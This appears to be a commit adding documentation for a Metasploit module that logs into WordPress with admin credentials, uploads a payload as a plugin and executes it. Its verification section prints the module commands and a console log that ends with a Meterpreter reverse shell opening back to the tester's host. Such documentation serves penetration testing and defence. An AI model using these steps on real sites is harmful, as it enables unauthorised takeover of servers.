Add docs for wp_admin_shell_upload

Author: egypt

documentation/modules/exploit/unix/webapp/wp_admin_shell_upload.md

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+## Vulnerable Application
+
+This module takes an administrator username and password, logs into the
+admin panel, and uploads a payload packaged as a WordPress plugin.
+Becuase this is authenticated code execution by design, it should work
+on all versions of WordPress.
+
+### Vulnerable Application Installation
+
+You can get WordPress from [https://wordpress.org/download/](https://wordpress.org/download/)
+or from some Linux package managers. [Debian maintains an installation
+guide](https://wiki.debian.org/WordPress) that also works on Ubuntu.
+Note that in a default install of WP from apt, the plugins directory is
+owned by root, so unless you chown it to the web user, this module will
+not work. Doing so is common in real-world deployments to allow
+legitimate administrators to install plugins, so it is not unreasonable
+for your own installation.
+
+
+## Verification steps
+
+```
+msf > use exploit/unix/webapp/wp_admin_shell_upload
+msf exploit(wp_admin_shell_upload) > set USERNAME admin
+USERNAME => admin
+msf exploit(wp_admin_shell_upload) > set PASSWORD password
+PASSWORD => password
+msf exploit(wp_admin_shell_upload) > set TARGETURI /wp/
+TARGETURI => /wp/
+msf exploit(wp_admin_shell_upload) > run
+
+[*] Started reverse TCP handler on 0.0.0.0:4444
+[*] Authenticating with WordPress using admin:password...
+[+] Login successful
+[+] Authenticated with WordPress
+[*] Preparing payload...
+[*] Uploading payload...
+[*] Acquired a plugin upload nonce: afa507398f
+[*] Uploaded plugin iHNhrYLmGR
+[*] Executing the payload at /wp/wp-content/plugins/iHNhrYLmGR/DcrpFXPOCG.php...
+[*] Sending stage (33986 bytes) to 192.168.100.131
+[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.131:40039) at 2017-04-21 11:36:33 -0500
+[+] Deleted DcrpFXPOCG.php
+[+] Deleted iHNhrYLmGR.php
+
+meterpreter > pwd
+/var/lib/wordpress/wp-content/plugins/iHNhrYLmGR
+meterpreter >
+```
+
+